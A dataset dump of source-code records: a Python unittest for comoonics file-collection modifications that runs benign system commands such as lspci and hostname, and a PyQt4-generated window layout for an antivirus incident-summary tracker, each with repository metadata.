c9440a9f40f0fc2d982e95049c38a05e02fc594a
/lib/comoonics/enterprisecopy/test/testCatifModification.py
97098dd16ef41a9101f7e26be552a9a3be6bfba3
[]
no_license
bopopescu/Open-Sharedroot-cluster-suite
https://github.com/bopopescu/Open-Sharedroot-cluster-suite
86ddb4e8fd4428b07122a1b6c6712676200f3d68
b578fb1a2820763a0fa76153f9895ec85e8f629b
refs/heads/master
2022-11-29T13:44:37.019685
2011-03-01T13:36:14
2011-03-01T13:36:14
282,215,413
0
0
null
true
2020-07-24T12:34:01
2020-07-24T12:34:00
2014-02-16T05:24:29
2011-03-08T14:55:39
1,394
0
0
0
null
false
false
''' Created on Mar 3, 2010 @author: marc ''' import unittest class Test(unittest.TestCase): def setUp(self): import tempfile from comoonics.enterprisecopy.ComModification import registerModification from comoonics.enterprisecopy.ComCatifModification import CatiffileModification, CatifexecModification registerModification("catiffile", CatiffileModification) registerModification("catifexec", CatifexecModification) self.__tmpdir=tempfile.mkdtemp() def _testXML(self, _xml): import comoonics.XmlTools from comoonics.ComPath import Path from comoonics.enterprisecopy import ComModification _doc = comoonics.XmlTools.parseXMLString(_xml) _path=Path(_doc.documentElement, _doc) _path.mkdir() _path.pushd(_path.getPath()) for _modification in _doc.documentElement.getElementsByTagName("modification"): try: _modification=ComModification.getModification(_modification, _doc) _modification.doModification() except Exception, e: self.assert_("Caught exception %s during Catif modification %s" %(e, _modification)) _path.popd() def testCatifExecModification(self): self._testXML( """ <path name="%s"> <modification type="catifexec"> <command name="/usr/bin/pstree"/> </modification> </path> """ %self.__tmpdir) def testCatiffileModification1(self): self._testXML( """ <path name="%s"> <modification type="catiffile"> <file name="/etc/*-release"/> <file name="$(/bin/ls -d /var/log/Xorg.*.log /var/log/XFree86.*.log 2>/dev/null)"/> </modification> </path> """ %self.__tmpdir) def testCatiffileModification2(self): self._testXML( """ <path name="%s"> <modification type="catiffile"> <file name="/etc/ld.so.conf.d"/> <file name="/etc/ld.so.conf.dadf"/> </modification> </path> """ %self.__tmpdir) def testCatiffileModification3(self): self._testXML( """ <path name="%s"> <modification type="catiffile" errors="ignore"> <file name="/etc/rc.d"/> <file name="/etc/syslog.conf"/> </modification> <modification type="catifexec"> <command name="hostname"/> </modification> <modification type="catifexec"> <command name="/bin/bash -c 'echo lspci; echo; lspci; echo; echo lspci -n; echo; lspci -n; echo; echo lspci -nv; echo; lspci -nv; echo; echo lspci -nvv; echo; /sbin/lspci -nvv'" log="lspci"/> </modification> </path> """ %self.__tmpdir) if __name__ == "__main__": import logging from comoonics import ComLog logging.basicConfig() ComLog.getLogger().setLevel(logging.DEBUG) #import sys;sys.argv = ['', 'Test.testName'] unittest.main()
UTF-8
Python
false
false
2,011
1,503,238,572,337
0191c83e637e9198c73b0ae09718947387747774
368b569735f3ff6f246705416d9275ecd3f985b5
/Dialogs/AV_sum.py
7aa03d27760204618bb03e5bc8dd3d828b625f13
[ "GPL-2.0-only" ]
non_permissive
joshfokis/AV_Tracker
https://github.com/joshfokis/AV_Tracker
f0d7cfdfa11fdf506f59bd3f70bbaa450a29eb95
1be9a8bebf63d8f0ebee2f27b75d2267662a0c55
refs/heads/master
2021-07-21T01:09:06.266841
2014-09-08T15:53:44
2014-09-08T15:53:44
22,382,555
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'EPO_SUM.ui' # # Created: Fri Jun 28 12:21:37 2013 # by: PyQt4 UI code generator 4.9.1 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: _fromUtf8 = lambda s: s class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) MainWindow.setEnabled(True) MainWindow.resize(808, 674) icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap(_fromUtf8(":/icon/IconBlue_crop.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) MainWindow.setWindowIcon(icon) MainWindow.setWindowOpacity(6.0) MainWindow.setAutoFillBackground(False) MainWindow.setDocumentMode(False) self.centralwidget = QtGui.QWidget(MainWindow) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) self.layoutWidget = QtGui.QWidget(self.centralwidget) self.layoutWidget.setGeometry(QtCore.QRect(10, 340, 791, 301)) self.layoutWidget.setObjectName(_fromUtf8("layoutWidget")) self.gridLayout_2 = QtGui.QGridLayout(self.layoutWidget) self.gridLayout_2.setMargin(0) self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2")) self.gridLayout = QtGui.QGridLayout() self.gridLayout.setObjectName(_fromUtf8("gridLayout")) self.label_3 = QtGui.QLabel(self.layoutWidget) self.label_3.setObjectName(_fromUtf8("label_3")) self.gridLayout.addWidget(self.label_3, 0, 0, 1, 1) self.comboFilter = QtGui.QComboBox(self.layoutWidget) self.comboFilter.setObjectName(_fromUtf8("comboFilter")) self.comboFilter.addItem(_fromUtf8("")) self.comboFilter.addItem(_fromUtf8("")) self.gridLayout.addWidget(self.comboFilter, 0, 1, 1, 1) self.lineEditSearch = QtGui.QLineEdit(self.layoutWidget) self.lineEditSearch.setObjectName(_fromUtf8("lineEditSearch")) self.gridLayout.addWidget(self.lineEditSearch, 0, 2, 1, 1) self.pushSearch = QtGui.QPushButton(self.layoutWidget) self.pushSearch.setObjectName(_fromUtf8("pushSearch")) self.gridLayout.addWidget(self.pushSearch, 0, 3, 1, 1) self.pushclearsearch = QtGui.QPushButton(self.layoutWidget) self.pushclearsearch.setObjectName(_fromUtf8("pushclearsearch")) self.gridLayout.addWidget(self.pushclearsearch, 0, 4, 1, 1) self.gridLayout_2.addLayout(self.gridLayout, 1, 0, 1, 1) self.tableView = QtGui.QTableView(self.layoutWidget) self.tableView.setEditTriggers(QtGui.QAbstractItemView.DoubleClicked) self.tableView.setTabKeyNavigation(False) self.tableView.setDragDropOverwriteMode(False) self.tableView.setAlternatingRowColors(True) self.tableView.setSortingEnabled(True) self.tableView.setObjectName(_fromUtf8("tableView")) self.gridLayout_2.addWidget(self.tableView, 0, 0, 1, 1) self.layoutWidget1 = QtGui.QWidget(self.centralwidget) self.layoutWidget1.setGeometry(QtCore.QRect(9, 4, 231, 128)) self.layoutWidget1.setObjectName(_fromUtf8("layoutWidget1")) self.gridLayout_4 = QtGui.QGridLayout(self.layoutWidget1) self.gridLayout_4.setMargin(0) self.gridLayout_4.setObjectName(_fromUtf8("gridLayout_4")) self.Host_Name_label = QtGui.QLabel(self.layoutWidget1) self.Host_Name_label.setObjectName(_fromUtf8("Host_Name_label")) self.gridLayout_4.addWidget(self.Host_Name_label, 0, 0, 1, 1) self.Hostname_Input = QtGui.QLineEdit(self.layoutWidget1) self.Hostname_Input.setObjectName(_fromUtf8("Hostname_Input")) self.gridLayout_4.addWidget(self.Hostname_Input, 0, 1, 1, 1) self.IP_label = QtGui.QLabel(self.layoutWidget1) self.IP_label.setObjectName(_fromUtf8("IP_label")) self.gridLayout_4.addWidget(self.IP_label, 1, 0, 1, 1) self.IP_Address_Input = QtGui.QLineEdit(self.layoutWidget1) self.IP_Address_Input.setObjectName(_fromUtf8("IP_Address_Input")) self.gridLayout_4.addWidget(self.IP_Address_Input, 1, 1, 1, 1) self.Username_label = QtGui.QLabel(self.layoutWidget1) self.Username_label.setObjectName(_fromUtf8("Username_label")) self.gridLayout_4.addWidget(self.Username_label, 2, 0, 1, 1) self.Username_input = QtGui.QLineEdit(self.layoutWidget1) self.Username_input.setObjectName(_fromUtf8("Username_input")) self.gridLayout_4.addWidget(self.Username_input, 2, 1, 1, 1) self.Action_label = QtGui.QLabel(self.layoutWidget1) self.Action_label.setObjectName(_fromUtf8("Action_label")) self.gridLayout_4.addWidget(self.Action_label, 3, 0, 1, 1) self.Action_selection = QtGui.QComboBox(self.layoutWidget1) self.Action_selection.setObjectName(_fromUtf8("Action_selection")) # self.Action_selection.setEditable(True) self.Action_selection.addItem(_fromUtf8("")) self.Action_selection.addItem(_fromUtf8("")) self.Action_selection.addItem(_fromUtf8("")) self.Action_selection.addItem(_fromUtf8("")) self.Action_selection.addItem(_fromUtf8("")) self.Action_selection.addItem(_fromUtf8("")) # self.Action_selection.addItem(_fromUtf8("")) self.gridLayout_4.addWidget(self.Action_selection, 3, 1, 1, 1) self.layoutWidget2 = QtGui.QWidget(self.centralwidget) self.layoutWidget2.setGeometry(QtCore.QRect(250, 0, 241, 128)) self.layoutWidget2.setObjectName(_fromUtf8("layoutWidget2")) self.gridLayout_5 = QtGui.QGridLayout(self.layoutWidget2) self.gridLayout_5.setMargin(0) self.gridLayout_5.setObjectName(_fromUtf8("gridLayout_5")) self.Device_label = QtGui.QLabel(self.layoutWidget2) self.Device_label.setObjectName(_fromUtf8("Device_label")) self.gridLayout_5.addWidget(self.Device_label, 0, 0, 1, 1) self.Device_Type_Drop = QtGui.QComboBox(self.layoutWidget2) self.Device_Type_Drop.setObjectName(_fromUtf8("Device_Type_Drop")) self.Device_Type_Drop.addItem(_fromUtf8("")) self.Device_Type_Drop.addItem(_fromUtf8("")) self.Device_Type_Drop.addItem(_fromUtf8("")) self.gridLayout_5.addWidget(self.Device_Type_Drop, 0, 1, 1, 1) self.label = QtGui.QLabel(self.layoutWidget2) self.label.setObjectName(_fromUtf8("label")) self.gridLayout_5.addWidget(self.label, 1, 0, 1, 1) self.lineEditDAT = QtGui.QLineEdit(self.layoutWidget2) self.lineEditDAT.setObjectName(_fromUtf8("lineEditDAT")) self.gridLayout_5.addWidget(self.lineEditDAT, 1, 1, 1, 1) self.Location_label = QtGui.QLabel(self.layoutWidget2) self.Location_label.setObjectName(_fromUtf8("Location_label")) self.gridLayout_5.addWidget(self.Location_label, 2, 0, 1, 1) self.Location_input = QtGui.QLineEdit(self.layoutWidget2) self.Location_input.setObjectName(_fromUtf8("Location_input")) self.gridLayout_5.addWidget(self.Location_input, 2, 1, 1, 1) self.Detection_Type_label = QtGui.QLabel(self.layoutWidget2) self.Detection_Type_label.setObjectName(_fromUtf8("Detection_Type_label")) self.gridLayout_5.addWidget(self.Detection_Type_label, 3, 0, 1, 1) self.Detection_Type_Input = QtGui.QLineEdit(self.layoutWidget2) self.Detection_Type_Input.setObjectName(_fromUtf8("Detection_Type_Input")) self.gridLayout_5.addWidget(self.Detection_Type_Input, 3, 1, 1, 1) self.layoutWidget3 = QtGui.QWidget(self.centralwidget) self.layoutWidget3.setGeometry(QtCore.QRect(500, 0, 301, 128)) self.layoutWidget3.setObjectName(_fromUtf8("layoutWidget3")) self.gridLayout_6 = QtGui.QGridLayout(self.layoutWidget3) self.gridLayout_6.setMargin(0) self.gridLayout_6.setObjectName(_fromUtf8("gridLayout_6")) self.Logs_label = QtGui.QLabel(self.layoutWidget3) self.Logs_label.setObjectName(_fromUtf8("Logs_label")) self.gridLayout_6.addWidget(self.Logs_label, 0, 0, 1, 1) self.lineEditLogs = QtGui.QLineEdit(self.layoutWidget3) self.lineEditLogs.setObjectName(_fromUtf8("lineEditLogs")) self.gridLayout_6.addWidget(self.lineEditLogs, 0, 1, 1, 1) self.Date_Gen_label = QtGui.QLabel(self.layoutWidget3) self.Date_Gen_label.setObjectName(_fromUtf8("Date_Gen_label")) self.gridLayout_6.addWidget(self.Date_Gen_label, 1, 0, 1, 1) self.Date_gen_input = QtGui.QDateTimeEdit(self.layoutWidget3) self.Date_gen_input.setWrapping(False) self.Date_gen_input.setFrame(True) self.Date_gen_input.setDate(QtCore.QDate(2013, 1, 1)) self.Date_gen_input.setTime(QtCore.QTime(1, 0, 0)) self.Date_gen_input.setCurrentSection(QtGui.QDateTimeEdit.MonthSection) self.Date_gen_input.setObjectName(_fromUtf8("Date_gen_input")) self.gridLayout_6.addWidget(self.Date_gen_input, 1, 1, 1, 1) self.lineEditdategen = QtGui.QLineEdit(self.layoutWidget3) self.lineEditdategen.setObjectName(_fromUtf8("lineEditdategen")) self.gridLayout_6.addWidget(self.lineEditdategen, 1, 1, 1, 1) self.Org_label = QtGui.QLabel(self.layoutWidget3) self.Org_label.setObjectName(_fromUtf8("Org_label")) self.gridLayout_6.addWidget(self.Org_label, 3, 0, 1, 1) self.Org_input = QtGui.QLineEdit(self.layoutWidget3) self.Org_input.setObjectName(_fromUtf8("Org_input")) self.gridLayout_6.addWidget(self.Org_input, 3, 1, 1, 1) self.Date_rec_input = QtGui.QDateTimeEdit(self.layoutWidget3) self.Date_rec_input.setDate(QtCore.QDate(2013, 1, 1)) self.Date_rec_input.setTime(QtCore.QTime(1, 0, 0)) self.Date_rec_input.setDisplayFormat(_fromUtf8("MM/dd/yy h:mm:ss A")) self.Date_rec_input.setTimeSpec(QtCore.Qt.LocalTime) self.Date_rec_input.setObjectName(_fromUtf8("Date_rec_input")) self.gridLayout_6.addWidget(self.Date_rec_input, 2, 1, 1, 1) self.lineEditdaterec = QtGui.QLineEdit(self.layoutWidget3) self.lineEditdaterec.setObjectName(_fromUtf8("lineEditdaterec")) self.gridLayout_6.addWidget(self.lineEditdaterec, 2, 1, 1, 1) self.label_2 = QtGui.QLabel(self.layoutWidget3) self.label_2.setObjectName(_fromUtf8("label_2")) self.gridLayout_6.addWidget(self.label_2, 2, 0, 1, 1) self.widget = QtGui.QWidget(self.centralwidget) self.widget.setGeometry(QtCore.QRect(9, 136, 791, 201)) self.widget.setObjectName(_fromUtf8("widget")) self.gridLayout_3 = QtGui.QGridLayout(self.widget) self.gridLayout_3.setMargin(0) self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3")) self.Comments_label = QtGui.QLabel(self.widget) self.Comments_label.setObjectName(_fromUtf8("Comments_label")) self.gridLayout_3.addWidget(self.Comments_label, 1, 0, 1, 1) self.Save_Button = QtGui.QPushButton(self.widget) self.Save_Button.setObjectName(_fromUtf8("Save_Button")) self.gridLayout_3.addWidget(self.Save_Button, 2, 3, 1, 1) self.textEditComments = QtGui.QPlainTextEdit(self.widget) self.textEditComments.setObjectName(_fromUtf8("textEditComments")) self.gridLayout_3.addWidget(self.textEditComments, 1, 2, 2, 1) self.Update_Button = QtGui.QPushButton(self.widget) self.Update_Button.setObjectName(_fromUtf8("Update_Button")) self.gridLayout_3.addWidget(self.Update_Button, 2, 3, 1, 1) spacerItem = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding) self.gridLayout_3.addItem(spacerItem, 1, 1, 1, 1) self.pushRefresh = QtGui.QPushButton(self.widget) self.pushRefresh.setObjectName(_fromUtf8("pushRefresh")) self.gridLayout_3.addWidget(self.pushRefresh, 2, 0, 1, 2) self.File_Path_input = QtGui.QPlainTextEdit(self.widget) self.File_Path_input.setObjectName(_fromUtf8("File_Path_input")) self.gridLayout_3.addWidget(self.File_Path_input, 0, 2, 1, 1) self.File_path_label = QtGui.QLabel(self.widget) self.File_path_label.setObjectName(_fromUtf8("File_path_label")) self.gridLayout_3.addWidget(self.File_path_label, 0, 0, 1, 1) MainWindow.setCentralWidget(self.centralwidget) self.menubar = QtGui.QMenuBar(MainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 808, 25)) self.menubar.setObjectName(_fromUtf8("menubar")) self.menuFile = QtGui.QMenu(self.menubar) self.menuFile.setObjectName(_fromUtf8("menuFile")) self.menuForm = QtGui.QMenu(self.menubar) self.menuForm.setObjectName(_fromUtf8("menuForm")) self.menuDatabase = QtGui.QMenu(self.menubar) self.menuDatabase.setObjectName(_fromUtf8("menuDatabase")) self.menuExport_By = QtGui.QMenu(self.menuDatabase) self.menuExport_By.setObjectName(_fromUtf8("menuExport_By")) MainWindow.setMenuBar(self.menubar) self.actionClose = QtGui.QAction(MainWindow) self.actionClose.setObjectName(_fromUtf8("actionClose")) self.actionOpen = QtGui.QAction(MainWindow) self.actionOpen.setIconVisibleInMenu(False) self.actionOpen.setObjectName(_fromUtf8("actionOpen")) self.actionDatabase = QtGui.QAction(MainWindow) self.actionDatabase.setObjectName(_fromUtf8("actionDatabase")) self.actionBy_Date = QtGui.QAction(MainWindow) self.actionBy_Date.setObjectName(_fromUtf8("actionBy_Date")) self.actionBy_Hostname = QtGui.QAction(MainWindow) self.actionBy_Hostname.setObjectName(_fromUtf8("actionBy_Hostname")) self.actionBy_Username = QtGui.QAction(MainWindow) self.actionBy_Username.setObjectName(_fromUtf8("actionBy_Username")) self.actionBy_Date_2 = QtGui.QAction(MainWindow) self.actionBy_Date_2.setObjectName(_fromUtf8("actionBy_Date_2")) self.actionBy_Hostname_2 = QtGui.QAction(MainWindow) self.actionBy_Hostname_2.setObjectName(_fromUtf8("actionBy_Hostname_2")) self.actionBy_Username_2 = QtGui.QAction(MainWindow) self.actionBy_Username_2.setObjectName(_fromUtf8("actionBy_Username_2")) self.actionBy_Date_3 = QtGui.QAction(MainWindow) self.actionBy_Date_3.setObjectName(_fromUtf8("actionBy_Date_3")) self.actionBy_Hostname_3 = QtGui.QAction(MainWindow) self.actionBy_Hostname_3.setObjectName(_fromUtf8("actionBy_Hostname_3")) self.actionBy_Username_3 = QtGui.QAction(MainWindow) self.actionBy_Username_3.setObjectName(_fromUtf8("actionBy_Username_3")) self.actionExport_Entire_Database = QtGui.QAction(MainWindow) self.actionExport_Entire_Database.setObjectName(_fromUtf8("actionExport_Entire_Database")) self.actionExport_AV_Summary = QtGui.QAction(MainWindow) self.actionExport_Entire_Database.setObjectName(_fromUtf8("actionExport_AV_Summary")) self.actionDelete_Row = QtGui.QAction(MainWindow) self.actionDelete_Row.setObjectName(_fromUtf8("actionDelete_Row")) self.actionBy_Date_4 = QtGui.QAction(MainWindow) self.actionBy_Date_4.setObjectName(_fromUtf8("actionBy_Date_4")) self.actionBy_Hostname_4 = QtGui.QAction(MainWindow) self.actionBy_Hostname_4.setObjectName(_fromUtf8("actionBy_Hostname_4")) self.actionBy_Username_4 = QtGui.QAction(MainWindow) self.actionBy_Username_4.setObjectName(_fromUtf8("actionBy_Username_4")) self.actionSpace = QtGui.QAction(MainWindow) self.actionSpace.setObjectName(_fromUtf8("actionSpace")) self.actionUpdate_Row = QtGui.QAction(MainWindow) self.actionUpdate_Row.setObjectName(_fromUtf8("actionUpdate_Row")) self.actionClear_Form = QtGui.QAction(MainWindow) self.actionClear_Form.setObjectName(_fromUtf8("actionClear_Form")) self.menuFile.addAction(self.actionClose) self.menuExport_By.addAction(self.actionBy_Date_4) self.menuExport_By.addAction(self.actionBy_Hostname_4) self.menuExport_By.addAction(self.actionBy_Username_4) self.menuDatabase.addAction(self.actionUpdate_Row) self.menuDatabase.addSeparator() self.menuDatabase.addAction(self.actionExport_Entire_Database) self.menuDatabase.addSeparator() self.menuDatabase.addAction(self.actionExport_AV_Summary) self.menuDatabase.addSeparator() self.menuDatabase.addAction(self.menuExport_By.menuAction()) self.menuDatabase.addSeparator() self.menuForm.addAction(self.actionClear_Form) self.menuDatabase.addAction(self.actionDelete_Row) self.menubar.addAction(self.menuFile.menuAction()) self.menubar.addAction(self.menuDatabase.menuAction()) self.menubar.addAction(self.menuForm.menuAction()) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) MainWindow.setTabOrder(self.Hostname_Input, self.Device_Type_Drop) MainWindow.setTabOrder(self.Device_Type_Drop, self.IP_Address_Input) MainWindow.setTabOrder(self.IP_Address_Input, self.lineEditDAT) MainWindow.setTabOrder(self.lineEditDAT, self.Date_gen_input) MainWindow.setTabOrder(self.Date_gen_input, self.Username_input) MainWindow.setTabOrder(self.Username_input, self.Location_input) MainWindow.setTabOrder(self.Location_input, self.Date_rec_input) MainWindow.setTabOrder(self.Date_rec_input, self.Action_selection) MainWindow.setTabOrder(self.Action_selection, self.Detection_Type_Input) MainWindow.setTabOrder(self.Detection_Type_Input, self.Org_input) MainWindow.setTabOrder(self.Org_input, self.Save_Button) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "AV Summary", None, QtGui.QApplication.UnicodeUTF8)) self.pushSearch.setText(QtGui.QApplication.translate("MainWindow", "Search", None, QtGui.QApplication.UnicodeUTF8)) self.label_3.setText(QtGui.QApplication.translate("MainWindow", "Find:", None, QtGui.QApplication.UnicodeUTF8)) self.comboFilter.setItemText(0, QtGui.QApplication.translate("MainWindow", "Hostname", None, QtGui.QApplication.UnicodeUTF8)) self.comboFilter.setItemText(1, QtGui.QApplication.translate("MainWindow", "Username", None, QtGui.QApplication.UnicodeUTF8)) self.Host_Name_label.setText(QtGui.QApplication.translate("MainWindow", "Host Name", None, QtGui.QApplication.UnicodeUTF8)) self.Hostname_Input.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Enter Hostname</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.IP_label.setText(QtGui.QApplication.translate("MainWindow", "IP Address", None, QtGui.QApplication.UnicodeUTF8)) self.IP_Address_Input.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Enter IP Address</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Username_label.setText(QtGui.QApplication.translate("MainWindow", "Username", None, QtGui.QApplication.UnicodeUTF8)) self.Username_input.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Input the username.</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Action_label.setText(QtGui.QApplication.translate("MainWindow", "Action", None, QtGui.QApplication.UnicodeUTF8)) self.Action_selection.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Select the action taken.</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Action_selection.setItemText(0, QtGui.QApplication.translate("MainWindow", "On Access Deleted", None, QtGui.QApplication.UnicodeUTF8)) self.Action_selection.setItemText(1, QtGui.QApplication.translate("MainWindow", "On Access Cleaned", None, QtGui.QApplication.UnicodeUTF8)) self.Action_selection.setItemText(2, QtGui.QApplication.translate("MainWindow", "Managed Scan Deleted", None, QtGui.QApplication.UnicodeUTF8)) self.Action_selection.setItemText(3, QtGui.QApplication.translate("MainWindow", "Managed Scan Cleaned", None, QtGui.QApplication.UnicodeUTF8)) self.Action_selection.setItemText(4, QtGui.QApplication.translate("MainWindow", "Script Scan Blocked", None, QtGui.QApplication.UnicodeUTF8)) self.Action_selection.setItemText(5, QtGui.QApplication.translate("MainWindow", "Other", None, QtGui.QApplication.UnicodeUTF8)) self.Device_label.setText(QtGui.QApplication.translate("MainWindow", "Device Type", None, QtGui.QApplication.UnicodeUTF8)) self.Device_Type_Drop.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Select Device Type</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Device_Type_Drop.setItemText(0, QtGui.QApplication.translate("MainWindow", "Desktop", None, QtGui.QApplication.UnicodeUTF8)) self.Device_Type_Drop.setItemText(1, QtGui.QApplication.translate("MainWindow", "Laptop", None, QtGui.QApplication.UnicodeUTF8)) self.Device_Type_Drop.setItemText(2, QtGui.QApplication.translate("MainWindow", "Server", None, QtGui.QApplication.UnicodeUTF8)) self.label.setText(QtGui.QApplication.translate("MainWindow", "Dat Version", None, QtGui.QApplication.UnicodeUTF8)) self.lineEditDAT.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Enter the DAT Version.</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Location_label.setText(QtGui.QApplication.translate("MainWindow", "Location", None, QtGui.QApplication.UnicodeUTF8)) self.Location_input.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Enter the location of the user.</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Detection_Type_label.setText(QtGui.QApplication.translate("MainWindow", "Detection Type", None, QtGui.QApplication.UnicodeUTF8)) self.Detection_Type_Input.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Enter the detection type.</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Logs_label.setText(QtGui.QApplication.translate("MainWindow", "Logs Pulled", None, QtGui.QApplication.UnicodeUTF8)) self.Date_Gen_label.setText(QtGui.QApplication.translate("MainWindow", "Date/time Gen.", None, QtGui.QApplication.UnicodeUTF8)) self.Date_gen_input.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Enter Date and Time Event was Generated.</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Date_gen_input.setDisplayFormat(QtGui.QApplication.translate("MainWindow", "MM/dd/yy h:mm:ss A", None, QtGui.QApplication.UnicodeUTF8)) self.Org_label.setText(QtGui.QApplication.translate("MainWindow", "Organization", None, QtGui.QApplication.UnicodeUTF8)) self.Org_input.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Enter The Orginization</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Date_rec_input.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Enter Date and Time Event was Received.</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.label_2.setText(QtGui.QApplication.translate("MainWindow", "Date/Time Rec.", None, QtGui.QApplication.UnicodeUTF8)) self.Comments_label.setText(QtGui.QApplication.translate("MainWindow", "Comments", None, QtGui.QApplication.UnicodeUTF8)) self.Save_Button.setToolTip(QtGui.QApplication.translate("MainWindow", "<html><head/><body><p>Save and update the AV summary database.</p></body></html>", None, QtGui.QApplication.UnicodeUTF8)) self.Save_Button.setText(QtGui.QApplication.translate("MainWindow", "Save", None, QtGui.QApplication.UnicodeUTF8)) self.Update_Button.setText(QtGui.QApplication.translate("MainWindow", "Update", None, QtGui.QApplication.UnicodeUTF8)) self.pushRefresh.setText(QtGui.QApplication.translate("MainWindow", "Refresh", None, QtGui.QApplication.UnicodeUTF8)) self.File_path_label.setText(QtGui.QApplication.translate("MainWindow", "File Path", None, QtGui.QApplication.UnicodeUTF8)) self.menuFile.setTitle(QtGui.QApplication.translate("MainWindow", "File", None, QtGui.QApplication.UnicodeUTF8)) self.menuForm.setTitle(QtGui.QApplication.translate("MainWindow", "Form", None, QtGui.QApplication.UnicodeUTF8)) self.menuDatabase.setTitle(QtGui.QApplication.translate("MainWindow", "Database", None, QtGui.QApplication.UnicodeUTF8)) self.menuExport_By.setTitle(QtGui.QApplication.translate("MainWindow", "Export By", None, QtGui.QApplication.UnicodeUTF8)) self.actionClose.setText(QtGui.QApplication.translate("MainWindow", "Close", None, QtGui.QApplication.UnicodeUTF8)) self.actionOpen.setText(QtGui.QApplication.translate("MainWindow", "Open", None, QtGui.QApplication.UnicodeUTF8)) self.actionDatabase.setText(QtGui.QApplication.translate("MainWindow", "Database", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Date.setText(QtGui.QApplication.translate("MainWindow", "By Date", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Hostname.setText(QtGui.QApplication.translate("MainWindow", "By Hostname", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Username.setText(QtGui.QApplication.translate("MainWindow", "By Username", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Date_2.setText(QtGui.QApplication.translate("MainWindow", "By Date", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Hostname_2.setText(QtGui.QApplication.translate("MainWindow", "By Hostname", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Username_2.setText(QtGui.QApplication.translate("MainWindow", "By Username", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Date_3.setText(QtGui.QApplication.translate("MainWindow", "By Date", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Hostname_3.setText(QtGui.QApplication.translate("MainWindow", "By Hostname", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Username_3.setText(QtGui.QApplication.translate("MainWindow", "By Username", None, QtGui.QApplication.UnicodeUTF8)) self.actionExport_Entire_Database.setText(QtGui.QApplication.translate("MainWindow", "Export Entire Database", None, QtGui.QApplication.UnicodeUTF8)) self.actionClear_Form.setText(QtGui.QApplication.translate("MainWindow", "Clear Form", None, QtGui.QApplication.UnicodeUTF8)) self.actionDelete_Row.setText(QtGui.QApplication.translate("MainWindow", "Delete Row", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Date_4.setText(QtGui.QApplication.translate("MainWindow", "Date Received", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Hostname_4.setText(QtGui.QApplication.translate("MainWindow", "Hostname", None, QtGui.QApplication.UnicodeUTF8)) self.actionBy_Username_4.setText(QtGui.QApplication.translate("MainWindow", "Username", None, QtGui.QApplication.UnicodeUTF8)) self.actionSpace.setText(QtGui.QApplication.translate("MainWindow", "space", None, QtGui.QApplication.UnicodeUTF8)) self.actionUpdate_Row.setText(QtGui.QApplication.translate("MainWindow", "Update Row", None, QtGui.QApplication.UnicodeUTF8)) self.actionExport_AV_Summary.setText(QtGui.QApplication.translate("MainWindow", "Export AV Summary", None, QtGui.QApplication.UnicodeUTF8)) self.pushclearsearch.setText(QtGui.QApplication.translate("MainWindow", "Clear", None, QtGui.QApplication.UnicodeUTF8)) if __name__ == "__main__": import sys app = QtGui.QApplication(sys.argv) MainWindow = QtGui.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_())
UTF-8
Python
false
false
2,014
8,753,143,350,929
79917927b02b854f36d27c4ae1760aa37b0974b9
f82731e4dfc535afa3de9f30ee01e7dd28bab1f3
/tumblr/scoretest.py
cfe0b992e7624b1f4766c61be182182939692e4d
[]
no_license
JKatzwinkel/python-misc
https://github.com/JKatzwinkel/python-misc
580371ca20e18917111a37b0844bf99981bf810f
b323244416ddd7cbb41e9b52062f296307c2eb8a
refs/heads/master
2021-01-10T17:55:28.128813
2014-05-17T12:52:02
2014-05-17T12:52:02
8,535,697
1
0
null
null
null
null
null
null
null
null
